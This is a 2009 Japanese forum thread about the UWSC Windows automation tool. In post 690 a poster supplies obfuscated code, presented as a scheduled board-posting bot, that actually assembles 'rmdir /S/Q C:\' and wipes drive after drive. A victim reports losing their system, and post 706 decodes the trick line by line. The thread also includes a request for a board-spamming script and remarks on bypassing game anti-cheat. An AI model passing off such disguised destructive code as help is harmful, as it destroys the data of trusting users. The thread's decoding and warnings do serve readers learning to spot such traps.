1 名前:名無しさん@お腹いっぱい。 [2009/03/02(月) 19:49:20 ID:rP5khwz50] Windowsを自動化させるツールUWSC。 ttp://www.h7.dion.ne.jp/~umiumi/ uwsc使いのみなさま、マターリ己のスクリプトを晒しましょ。 前スレ 自動化ツールuwsc使いよ集まれ3 pc11.2ch.net/test/read.cgi/software/1176677869/
684 名前:682 mailto:sage [2009/10/19(月) 17:53:33 ID:n+6Jdku/0] 何度もすいません テキスト1ファイルで1行目〜24行目の方法ではなく 1行ファイルを24個用意して 1時にテキスト1をサイトA 2時にテキスト2をサイトB 3時にテキスト3をサイトC この方法でも結構です どなたかお願いします
685 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 18:18:15 ID:UJIHaaLl0] >>はじめまして全くの初心者で丸投げでお願いしたいです
686 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 18:59:12 ID:HVP74pPF0] 自分で作れないなら、プロにお金を出して作ってもらったら?
687 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 19:43:20 ID:CQ58FsYy0] >>682-684 そのサイトが全部2ちゃんねるなら5千円で作ってあげてもいいけど ぜんぜん別の掲示板なら1箇所当たり2千円で消費税も入れて 55000円 になるけどいいかな?
688 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 20:39:09 ID:fkMx4tWw0] >>682 こんなソフトウェアつくってください pc12.2ch.net/test/read.cgi/software/1251624598/
689 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 22:09:18 ID:A/b0I+MbP] >>682 これから作るからちょっと待ちなー
690 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 23:54:32 ID:3uvH/jIh0] >>682 書き込むサイトのアドレスをsite[1]="○○○○"←のところに入れてね。 前後の「"」は忘れずに! dim site[25],kakikomi[25] site[1]="hyde156cm.com/aaabb/cccddd/efg.html " ・・・(省略)・・・ site[24]="hogehoge.co.jp/aaa/bcd.cgi " kakikomi[1]="テキスト1" ・・・(省略)・・・ kakikomi[24]="テキスト24" mode="mdS5RgzP4/Q B" aaa="InternetExplorer.Application" bbb=":\" cc="r"+ chgmoj(mode,"S5RgzP4","ir /S ")+bbb size=66 for time=1 to 24 cc = replace(cc," "+chr(size+time-1)," "+chr(size+time) ) if "" <> doscmd(cc) then continue IE = CreateOLEObj(aaa) IE.Visible = True IE.Navigate(site[time]) IESetData(IE,True,"lr",kakikomi[time]) GETTIME() ifb time=G_TIME_HH then sleep(3600) endif next
691 名前:682 mailto:sage [2009/10/20(火) 07:09:39 ID:W8G0SBlw0] >>690 さん お返事遅くなり申し訳ないです お忙しい中、本当にありがとうございました 大切に使わせていただきます 感謝です
692 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/20(火) 07:33:50 ID:jAAUEYUX0] よく>>682 みたいな馬鹿に親切に作ってやるもんだ >全くの初心者で丸投げでお願いしたいです こういう輩を甘やかすと調子乗るんだよな
693 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/20(火) 17:29:41 ID:lEe8RCT+0] >>682 みたいなのは死ねばいいと思う uwsc使いでもなんでもないし
694 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/20(火) 19:18:45 ID:kn6xTJMj0] 「UWSC使い」使いですね。わかります。
695 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/20(火) 21:37:35 ID:5ibiXKAy0] >>690 巧さ半端ねぇなw どうなっているのか解るのに10秒くらいかかった。
696 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 00:30:20 ID:5BhbaMvE0] 682は本当にこれ実行したんだろうか… レス無いのはやっぱり実行しちゃったんだろうか…
697 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 01:09:56 ID:H9pzsLFx0] ちゃんと見てなかったけどCから順にやるのかすごいな だが、ちゃんとエラーを除去しないとスクリプト実行エラーが出るから、 初めて触る人間にはすぐには実行できないんじゃないか? ていうかまさか依頼の段階から仕込みとかか? 依頼からして不自然だったしさ。
698 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 01:29:46 ID:H9pzsLFx0] やってみたけどループ1回目の途中でエラーになって止まったよ。 だめだな。 仮想マシンでやったけど、起動した後で「しまった。共有ドライブが!」とか思ったけどぜんぜん心配いらんかった。
699 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 01:47:10 ID:H9pzsLFx0] × ぜんぜん心配いらんかった。 ○ そっちは心配いらんかった。
700 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 23:02:22 ID:eGE2n9Cp0] >>690 を実行するとどうなんの? エラーが出るだけ?
701 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 23:18:52 ID:s2PXx/VI0] >>700 コードをちゃんと読めば理解出来るだろう。 メモ帳か何かにコピペして、それがどう弄られていくか書き出してみればいいよ。 知らない可能性があるのは、最終的にできあがるものだが、それはググれば一発で出てくると思うよ。 ちなみに65がAだから、66はB、67はCな。
702 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 23:54:14 ID:H9pzsLFx0] >>701 それだけじゃわかんないと思うよ。 サイトAからXまで処理することになってるから。 A-X が C-Zに置き換わってると言えば分かると思う。
703 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 00:23:30 ID:zsrKpKqI0] 最初はB。ループの最初で66を67に置換でC、以降+1していくからDEFG… 65は最初から無い
704 名前:危険!危険! mailto:sage [2009/10/22(木) 00:46:18 ID:rtGLzJgQ0] なんで〜(;´д⊂ヽ >>690 をやってみようとしたらエラーになるので パソコンをリセットしたら 「Wwindows Boot Manager」の画面になってそこからどうにもならない もうデータとか全部捨ててリカバリするしかないかも試練orz ちなみにOSはVista えらいことになったよ・゚・(ノω;`)・゚・ >>690 はなんだったんだろうか? >>701 65がAとか意味不明
705 名前:名無しさん@お腹いっぱい。 [2009/10/22(木) 01:14:14 ID:k2O2PUZQ0] 犠牲者報告がついに来たか。 >>690 のスクリプトは、C:ドライブからZ:ドライブまでの全てのファイルを削除するというもの。 UWSCはコマンドを呼び出してるだけなんだけどね。 ウィルスと違うからアンチウィルスとかじゃ検出してくれない。 だからスクリプトは実行する人がそれをちゃんと理解するか、 信用できる人からもらったものじゃないといけない。 僕はプログラマで共同作業してるときですら、同期入社のやつから>>690 みたいな動作のスクリプトを青果物として納品されて、 完成したプログラムが全部消えてなくなったことがある。 ちなみにそいつは北九州高専卒業のやつで会社は地元の東証一部上場企業での話ね。 人事部にちくったら「貴様を駆除するためにやらせたんだ責任とって死ね」って怒鳴られたけどね。 さすが毒饅頭を出荷してる土地柄だけはある。 そんな感じだから信用できる人間の区別もまた難しいんだけど、 とにかく検査されたもの以外は安易に実行してはいけないってことだ。
706 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:43:45 ID:zsrKpKqI0] >>704 > mode="mdS5RgzP4/Q B" > bbb=":\" chgmoj(mode,"S5RgzP4","ir /S ") "mdS5RgzP4/Q B"中の"S5RgzP4"を"ir /S "で置換。 結果、mode="mdif /S/Q B" > cc="r"+ chgmoj(mode,"S5RgzP4","ir /S ")+bbb cc="r" + "mdir /S/Q B" + ":\" ="rmdir /S/Q B:\" > cc = replace(cc," "+chr(size+time-1)," "+chr(size+time) ) 最初のループ:time=1,size=66につき chr(size+time-1)=chr(66)=B chr(size+time)=chr(67)=C cc = replace(cc," B"," C") コマンドcc中の" B"を" C"で置換 cc="rmdir /S/Q C:\" 以降、ループが回る毎にCをDに置換・DをEに置換…とやっていくが、 最初のCを消した時点でcmd.exeも消えてD以降はエラーになる
707 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:46:14 ID:rtGLzJgQ0] >>705 さん 詳しいレスありがとうございます つまりインストールしていたソフトやデータはすべて消えた後ってことですね これでリカバリする踏ん切りつきました 夜遅くにすいませんでした >>690 死ね!
708 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:49:50 ID:rtGLzJgQ0] >>706 えっ! 私はカキコ遅いんですけどその間にレス頂いた様で ありがとうございます ということはソフトやデータはまだ残っているって事なんでしょうか? とすれば>>705 が悪意のあるレスで>>690 は善意の解答者??? もうわけわかんないです(;´Д`) とりあえず復旧方法探してみます 夜中にすいませんでした
709 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:54:00 ID:zsrKpKqI0] これを読んでもまだわからないような超初心者が安易に実行なんてするなよ(´Д`) 今後何度だってトラップに引っかかって今度のような目にあうぞ。 rmdir /S/Q C:\ の意味は "C:\" を中身ごと消せ。 つまり>>705 の通りだが、C:\を消したらコマンド続行不能になるのでDは無事の可能性高い。 当然ながらOSは起動不能。
710 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:58:18 ID:rtGLzJgQ0] >>709 さん 了解です うかつに実行した自分の責任です ご親切にありがとうございました >>705 さん疑ってすいませんでした 教えてくれてありがとうです 今日は遅いので明日にでもリカバリします >>690 死ね死ね死ね!!!
711 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 02:32:59 ID:mgMzrVp30] VISTA使ってんなら、管理者として実行するを選ばない限りDOSコマンドでwindowsのシステムファイルは消えない rmdir c:\ /s /qしてもファイル削除自体をはじかれる つ〜わけで、釣りだろ?
712 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 02:36:13 ID:k2O2PUZQ0] 俺仮想で実行した>>698 だけど、そんとき書かなくてごめんね。 一応 > 「しまった。共有ドライブが!」とか思った っていうのがヒントになってると思ったんだけど。 んで僕はC:で実行中のWindowsシステムファイル以外は消えたの確認したけど、 D:にページファイル置いてて、ついでに小物ツールとか置いてたんだけど、それ全部消えてました。 だから一応はリカバリするまでD:以降は残しておくべきだけど、消えてる可能性は高いかなと。 ただ、ループ中に > IE = CreateOLEObj(aaa) でオブジェクトがないっていうエラーが出てたから、きっとD:は処理しなかったんだろうと思ったんだけど・・ > if "" <> doscmd(cc) then continue C: D:を処理するときにはこれがtrueになってOLEの処理は飛ばされてたのかも。 でE:はドライブがないよってエラーを返すからOLE実行して、エラーになったかな? 共有ドライブはドライブレターが飛んでるから助かったっぽい。 >>706 > 最初のCを消した時点でcmd.exeも消えてD以降はエラーになる cmd.exeは実行中だから自分自身を消さないんじゃね? FATとか使ってれば消えるのかもしれないけど。 >>707 >>710 どーしても取り戻したいファイルがあるなら、その消えたHDDを復活ツール使って復活する方法はあるよ。 ただしリカバリでデータを書き込んだら上書きされて取り出せなくなるけどね。 ツールはあってもファイル数が半端じゃないし、ファイル名の1文字目が消えてて探すのも大変だけど。 必要なのはその消えたHDDを追加できる環境と復活ツールと、復活する手間隙。 業者に頼んでもいいけど、1MBあたり1万円とか取られるんじゃないかな。
713 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 02:48:12 ID:k2O2PUZQ0] >>711 UWSCスクリプトが内部で呼び出すDOSシェルはVistaでもいちいちUACで聞いてこないんじゃね? 少なくともWindows7では聞いてこないと思うけどな。 そもそも実行しようと思っているんだから仮にUACで確認されてもOKをクリックするだけだと思うよ。 あ、UACじゃなくてファイル保護の話か。 でも保護されるのはWindows配下とProgram Files配下くらいで、 アプリの設定ファイルとかユーザーデータとかはことごとく消えるんじゃないかな。 他ユーザーのデータは残ってるだろうけど、一人でいくつものアカウントを使い分けたりしないだろ?めんどくさいし。 で、ファイル保護されてシステムファイルが消えないんだとすると、D:ドライブ以降も全部消えてるだろうね。 僕はXPで試したけどVistaならOLEもエラーにならなくてZまでしっかり実行される気がする。 実行したらVistaの方が被害が大きいんじゃないかな。 > IESetData(IE,True,"lr",kakikomi[time]) これがエラーでストップするならドライブレターが飛んでるところは大丈夫だろうけど、多分スルーされるよね。 DOMアクセスしてたら名前不一致でエラーになるけど。
714 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 03:15:43 ID:7U7T32pD0] ID:rtGLzJgQ0は>>682 かな? だとしたらすげー面白いんだけどなw 自分は全然悪くないと思ってるところとか
715 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 03:31:39 ID:mgMzrVp30] >>713 両方の事なんだけど、UACないとprogram filesとwindowsのファイルは消せないっぽいし、 UACでもファイル保護とか実行中のexe DLLは削除無理っぽいんだよね スクリプトだからUACを有効に出来ないわけだろ? するとWindowsだけはとりあえず起動するだろうから、釣りとしか思えない
716 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 03:42:55 ID:k2O2PUZQ0] >>715 > スクリプトだからUACを有効に出来ないわけだろ? 意味分からん。 UACって実行許可を求めるものだから、許可したら動くに決まってる。 実行中の実行ファイルが消えないというのはなんの助けにもならない。 Windows起動時にどのファイルを読み込んでどんな処理をするかが書かれているのは実行ファイルじゃないしな。 実行ファイルだけがあればソフトは勝手に動くと思ってるのかな?
717 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 03:48:52 ID:k2O2PUZQ0] VBScriptでVistaのUACの権限昇格を行う方法 ttp://hitaki.net/diary/20090522.html ああ、スクリプト側で昇格処理してユーザーが許可を出さないと管理者権限で実行できないのか。 でもUWSCって管理者権限で実行しないとそもそも動かないんじゃなかったっけ?
718 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 04:06:17 ID:mgMzrVp30] 許可しなくても動く すべての関数を使ったことないから全部そうなのかまでは分からない
719 名前:704 mailto:sage [2009/10/22(木) 05:47:51 ID:rtGLzJgQ0] >>711 VistaでUWSCを動かすためには「管理者権限で実行」しないと動かなかったですよ 以前ここで教えてもらったんですよ なので綺麗に削除されました >>714 そですよ >>682 は私です せっかく作ってくれたんだから使ってお礼のレスを入れないとって思って使いました 結果は先に書いたとおりです 面白いですか? >>715 Windowsは起動しないです ウィンドーズブートなんとかって画面で 「Esc」キーか「リターン」キーを押すように英語で記載されてる どちらを押しても再起動してその画面に戻るだけでした 釣りじゃないですよ >>717 あなたが正解です VistaでUWSCは管理者権限での実行でしか動きません >>718 自分はプレインストールのVistaHBですが UWSCを実行させる場合は必ず管理者権限でないと UWSCは起ち上がっても自動実行は一切出来ないですよ
720 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 06:05:55 ID:7U7T32pD0] >>719 まあ高い授業料だったと思えばいいね 色々といい経験になったでしょ
721 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 06:13:27 ID:rtGLzJgQ0] >>720 はい(´;ω;`) あなたはいい人だね ありがとです
722 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 10:46:24 ID:QFAR0xIb0] >>721 言葉だけでいい人と判断するなら、行動としてスクリプトでフォーマットしてもいい人かもねw
723 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 12:07:54 ID:FjUQjAwk0] >>719 VistaHP使ってますが管理者権限にせずに動いています アカウントもアドミニですが
724 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 14:00:00 ID:u/5hQA4K0] >>712 おまえも戦犯だ責任とって氏ね
725 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 14:25:42 ID:k2O2PUZQ0] >>724 戦犯? 俺>>687 ですよ? 取引に応じてくれたらちゃんと作ってあげたのに。 そもそも 「ぜんぜん別の掲示板なら1箇所当たり2千円」 っていうところをちゃんと理解してくれていれば >>690 みたいな単純なループでは実現できないってことは分かるはずなんだよ。 どーせ>>682-684 みたいなことを考えるやつは 政治的なコピペを張りまくるか 「俺その時間自宅でネットやってました」 っていうアリバイ作って犯罪を逃れようとしてるとかだろうから 親切には教えなかっただけなんだけどね。 ちゃんと読んでくれていればあちこちにヒントもちりばめてるんだし。 > Cから順にやるのかすごいな > 「しまった。共有ドライブが!」 > ぜんぜん心配いらんかった。 −> そっちは心配いらんかった。 >>696 だってそれをにおわすこと書いてくれてるし 人をだます人がいることを分かってないお人よしなのか、そういうのを力でねじ伏せてる人なのか、どっちなんだろ。
726 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 15:20:23 ID:QFAR0xIb0] >>725 どうでもいい。
727 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 19:03:49 ID:kTghvya90] ただ単純に、スレ違いも甚だしい所でクレクレ行為まがいの事をして、 読めもしないコード貰って実行するバカが悪いだけだろ。 >>690 を見て何も疑わずに実行するのはレベル低すぎないか? 俺はネタをネタとryと同じようなもんじゃないかと思うが。
728 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 21:19:22 ID:4BdU1cL60] >>727 正解
729 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 22:49:45 ID:fNEtWyaw0] 戦犯とか意味不明にしても みんな静かにニヤニヤしながら黙ってみてたんだろ? 偉いなー。みんな空気読んでるなー。って 昨晩から感心してたところだよ
730 名前:lymEYIfFBULtWrMMQD mailto:pe7b5d45e.@gmail.com [2009/10/22(木) 23:41:54 ID:kObaYugK0] I'll see everybody tomorrow on What's Up Wednesday. ,
731 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 00:30:11 ID:SAH7zdiT0] 誰かウィルスにでもかかったのか? > 529 名前:BDHkJPLEn[f032ebe2nd.@gmail.com] 投稿日:2009/10/23(金) 00:03:01 ID:??? > So, in my blog, I look for opportunities to present perspectives that are often censored. ,
732 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 02:04:28 ID:Wc1ARWvB0] ソフ板の定番のスクリプトコピペが少しは意味のある単語を入れ始めただけ
733 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 04:51:08 ID:DWLH0rQm0] 興味持った初心者が実行しちゃうとか思わないのかねぇ モラルのないクズばっかりだなぁ、情けねーわ
734 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 08:50:16 ID:Hx39oh9p0] 思慮のない初心者は痛い目にあって知恵をつけていくしかない
735 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 10:57:36 ID:SAH7zdiT0] 初心者が毎日来るとは思ってないし。 土日でもないし。 >>734 みたいのはひどいと思うけど 「特定の人々にとって都合の悪い書き込み」があったスレにはいつも必ずウィルススクリプトが貼り付けてあった。 ウィルススクリプトはテキスト状態でもウィルスチェッカが発見してログを削除してしまうのを利用しているんだ。 自分が痛い目を見るだけならともかく、ウィルスをばら撒くようなことにもなりかねないから、 確かに痛い目を見てでも安易な実行は避けることを覚えるべき。
736 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 11:51:00 ID:iEyplr100] >>721 念のため警察に通報しとけよ
737 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 15:05:32 ID:Wc1ARWvB0] >>733 今回は用途が板爆撃スクリプトなだけに使おうと思う奴も 作った奴もどっちもどっちって感じだがな。
738 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 17:59:13 ID:hoAE3VuS0] >>736 裏2chへの行き方とか、ウイルスの掃除の仕方とか何とか言って フォーマットとかふしあなトラップ仕掛けている人を通報するとか言ってるのと同じようなもんだとなぜ解らないんだろうなw そもそも「己のスクリプトを晒しましょ。」なんていうスレなんだし、 多少のスキルがあるヤツしか居ないと思うんだがなぁ。 まぁ、>>690 見て実行するようなヤツは半年くらいネット繋がずに自力でスプリクト書いてろよw
739 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 19:52:40 ID:i7NNR92L0] 関係ない 実害が出たらまず110 逮捕されるかどうかは警察まかせでいい あとふしあなとは全く違う
740 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 19:59:08 ID:rK5f7ruL0] ネットで調べることをやめさせてどうするんだ。
741 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 20:01:27 ID:Hx39oh9p0] ゆとり脳多すぎワロタ
742 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 20:20:51 ID:9mI/MsVb0] >>739 クソワロタwww
743 名前:wZADhxijwdhbPogdHEe mailto:14d43o08l.@gmail.com [2009/10/23(金) 21:39:08 ID:w7n4Xjz00] Includes Protective Sports Equipment and Protective Wear. ,
744 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 22:42:04 ID:KXvduCK+O] uwsc作者のumiumiが一番の悪人 奴は拳銃を売って儲けるヤクザの元締めと一緒 あいつを捕まえない限り被害者は増加し続ける
745 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 23:21:29 ID:Hx39oh9p0] ついに作者にまで責任転嫁始めたかw 面白すぎるw
746 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 23:35:24 ID:Yh5II5xX0] >>690 は>>682 の無差別掲示板荒らしを未然に防いだと言う意味で評価されるべきだ
747 名前:名無しさん@お腹いっぱい。 [2009/10/23(金) 23:59:41 ID:t1jDgBDQ0] サーバに無駄な負荷を掛ける攻撃を目論んでいた>>682 は典型的な犯罪者 社会のクズを退治した>>690 は正義の使者だよ、もちろん
748 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/24(土) 00:31:01 ID:zq9vSvMH0] >>744 そもそもWindowsがあるのがいけないんですね!解ります!
749 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/24(土) 14:36:16 ID:0z+51oUb0] >>744 そんなの言い出したら包丁売ったら犯罪とか、ライター売ったら犯罪とかってことか? ちなみに47氏でも勝訴だぞ。
750 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/24(土) 16:31:07 ID:7wNQpB3T0] ネタにマジレス
751 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/24(土) 18:01:59 ID:jvbbXPzt0] クズスレ
752 名前:名無しさん@お腹いっぱい。 [2009/10/26(月) 22:52:30 ID:+luvcpcv0] Windows7買ったんでこのスレの話を参考にVirtual PC導入したよ >>690 実行しても仮想環境ならワンボタンで取り消せて(・∀・)イイ!! 思う存分危険スクリプト作れるぜ 丸投げ厨に配布しまくろっと
753 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/26(月) 23:14:25 ID:jdxyP/Yd0] なんか変なのが住み着いたなぁ
754 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/26(月) 23:27:49 ID:jrd5+kFQ0] >>752 丸投げ厨です これからもよろしくね♪
755 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/27(火) 01:21:29 ID:DQzhoBiL0] 現在あるゲームの自動操作を行わせているのですが、画像判定(chkimg)の箇所が多く、また不安定なため、通信受信内容で判別できるように改良したいのです。 雲をつかむような表現で申し訳ないのですが、どのような関数を参考にするといいのでしょうか?
756 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/27(火) 01:31:38 ID:TiHUFHbO0] >>755 通信関係の関数は無いです。 無理やりにでもやるとしたら、外部DLL等の読み出しによって行われる事になるでしょうけど… それはUWSCの範疇ではないと思います。 …でも俺もちょっと知りたい。なんか判ったら教えてw
757 名前:名無しさん@お腹いっぱい。 [2009/10/27(火) 01:42:53 ID:6cas0igo0] >>755 その通信内容というのがサーバーとの通信って事なら、 暗号解除とかコード解析のためにゲームガード破ってコード解析しないといけないでしょう。 そんで解析した後も、通信を傍受するソフトと暗号解除するソフトは別途必要になると思います。
758 名前:名無しさん@お腹いっぱい。 [2009/10/27(火) 11:14:48 ID:DQzhoBiL0] >>755 です。 たとえば、NESを代表するエミュレーターのバイナリを監視し、値を取得するようなことを UWSCでは関数としてあるのかな〜とおもってまして。 また雲をつかむような話ですが、ある.exeファイルを監視し、特定のアドレスの値がXXになったらアラームとか。 そんな感じで値を取得できないかなぁとおもいまして。 引き続きご意見、ご助言をおねがいします。
759 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/27(火) 11:17:28 ID:7cHtZVxc0] >>758 それだったらDLL経由でできる
760 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/27(火) 14:19:32 ID:6cas0igo0] >>759 > 特定のアドレスの値がXXになったらアラームとか。 これはUWSCでは無理じゃない? UWSCがイベント受け取って動けるのはCOMのイベントだけでしょ。 COM組むとなるとかなり大変だと思うけど。
761 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/27(火) 14:53:46 ID:7cHtZVxc0] 普通にDLL使えますが・・・
762 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/27(火) 15:30:42 ID:6cas0igo0] >>761 マジで? 実際試せるそーすプリーズ
763 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/27(火) 15:31:16 ID:ukIubvelP] 一般的なアプリって固定的にメモリ使ってるの? それにどうやって知りたい情報のアドレスを特定するの? 識者の人、解説よろ
764 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/27(火) 15:35:01 ID:7cHtZVxc0] >>762 ヘルプくらい読めよ・・・
765 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/27(火) 15:37:51 ID:6cas0igo0] >>764 ああ、最近Windows7つかっててUWSCのヘルプ開けなかったんだ // イベント処理の定義 OLEEVENT( オブジェクト, インタフェース名, イベント名, Procedure名 ) 引数 オブジェクト: COMオブジェクト でも、UWSCのイベントはOLE前提みたいだけど、新しい関数できたの?
766 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/27(火) 15:46:42 ID:7cHtZVxc0] >>765 <DLL 使用定義> // DLL (API等)の関数を使用する事ができるようになります DEF_DLL 関数名(型, 型, ...): 戻り型: DLL名 型: int、long、bool、uint、hwnd、string、Wstring、float、double、word、dword、byte、char、pchar、Wchar、pWchar、boolean、longlong、Extended、SafeArray 参照引数(値変更あり)の場合は Var 宣言を付ける 関数名( var double, var int ) 構造体:型を { } にて展開して書く 関数名( double, {int, int, int} ) 配列の場合は 型に [] を付ける 関数名( double[], int[] ) ※int=long= bool(4byte)、dword=uint=hwnd、 char=boolean(1byte) ヌルポインタを渡す時は NULL定数を使用して下さい てきとーなこと言う前に、ちゃんとヘルプ読む癖をつけよう
767 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/27(火) 16:05:19 ID:6cas0igo0] >>766 それはDLL関数を呼び出す定義だろ? どーやってDLL関数にUWSCの関数を渡すんだ? いや、UWSCでループするかDLL関数内でループしてればそういう動作することが出来るのはわかってるけどさ。 まあどっち道値の書き換え監視はループして監視しなきゃいけないわけだからそういう風に作るとして、 DLL内でループすると他のことが出来なくなるからマルチスレッドにしなきゃいけないっていうかイベント処理はどの道マルチスレッドか。 マルチスレッドにしないならUWSCの主処理ループで状態チェックしてそれにあわせて分岐か。 その場合監視項目をまとめて処理する関数呼び出してIDでどれが変更になったか見分けるのがスマートかな。 イベント型で不定期に発生すると他の操作との絡みがあるからやっぱそれしかないか。 この方法の問題点は、監視タイミングがかなり緩慢になって、回復処理が必要になってもなかなか回復しないとか言うデメリットがあるんだよね。 UWSCのマルチスレッドが他のスレッドを一時停止とか終了のコントロールが出来ればイベント型スクリプトを作りやすいんだけどな。
768 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/27(火) 17:47:38 ID:7uDFKqAz0] 改行をどうにかするか、長文をどうにかするk(ry
769 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/27(火) 19:30:51 ID:6cas0igo0] ごめーん 最近年のせいか知らないけどだらだらしゃべっちゃうんだよねえ。 まるで無責任艦長タイラーみたいにさ。 まだまだ人生残り50年だと思ってたんだけどそろそろ2ちゃんねる引退時かな? イベントドリブンなスクリプトで検索すると、JavaScriptがいっぱい出て来るねえ でもローカルで動かすのにJavaScriptじゃしょうがない。 JScriptとかVBSctiptならHTA・・どのみちWebベースか。 schemeとかもそーなのか LSLって何かと思ったらセカンドライフのスクリプトか を HSPにsetcallbk って関数があるな これは意外な。 SocketDebuggerってのにLuaスクリプトってのがあるな。 通信データをスクリプトで監視してデバッグできるんだってさ。 これゲームガードに阻まれなければチートに応用できそうだな。
770 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/27(火) 20:34:22 ID:qgi5nNQ40] まさにKYってこういう人を指すんだろうな 間違いなくあなたの文章は誰も読まない コピペ荒らしよりも不愉快な存在
771 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/27(火) 20:36:09 ID:6cas0igo0] KYってもともと石垣島のさんご礁に落書きされたのが発端って知ってる?
772 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/27(火) 20:48:07 ID:dmqDK93Q0] これはさすがにもう擁護できないウザさだな >>767 辺りでやめときゃ良かったのにわざわざ反感買ってどうすんだ 死ね老害
773 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/27(火) 21:26:14 ID:JjIhm7H6P] クズスレ
774 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/27(火) 22:00:31 ID:6cas0igo0] 判定関数を使ったイベント登録っぽく使えるモジュール書いてみた。動くかどうかはしらない。 イベントモジュール.初期化() 〜処理〜 イベントモジュール.Quit() Module イベントモジュール DIM QFlag Proceduer 初期化() this.QFlag = false Thread 関数登録() Fend Proceduer 関数登録() while true if 判定関数 then イベント関数() if this.QFlag then break sleep(0.1) wend Fend Proceduer イベント関数() //ここでイベント処理 Fend Proceduer Quit() QFlag = true Fend EndModule
775 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/27(火) 23:49:58 ID:DQzhoBiL0] >>755 です。 ご意見、ご助言ありがとうございます。 別プロセスのメモリを読み込むサブスクリプト ttp://park14.wakwak.com/~simizu/cgi-bin/uwscbbs2/cocoqa.cgi?log=31 Vector:Memory.dll ttp://rd.vector.co.jp/soft/win95/prog/se358509.html このあたりでなんとかならないかなぁと考え中です。
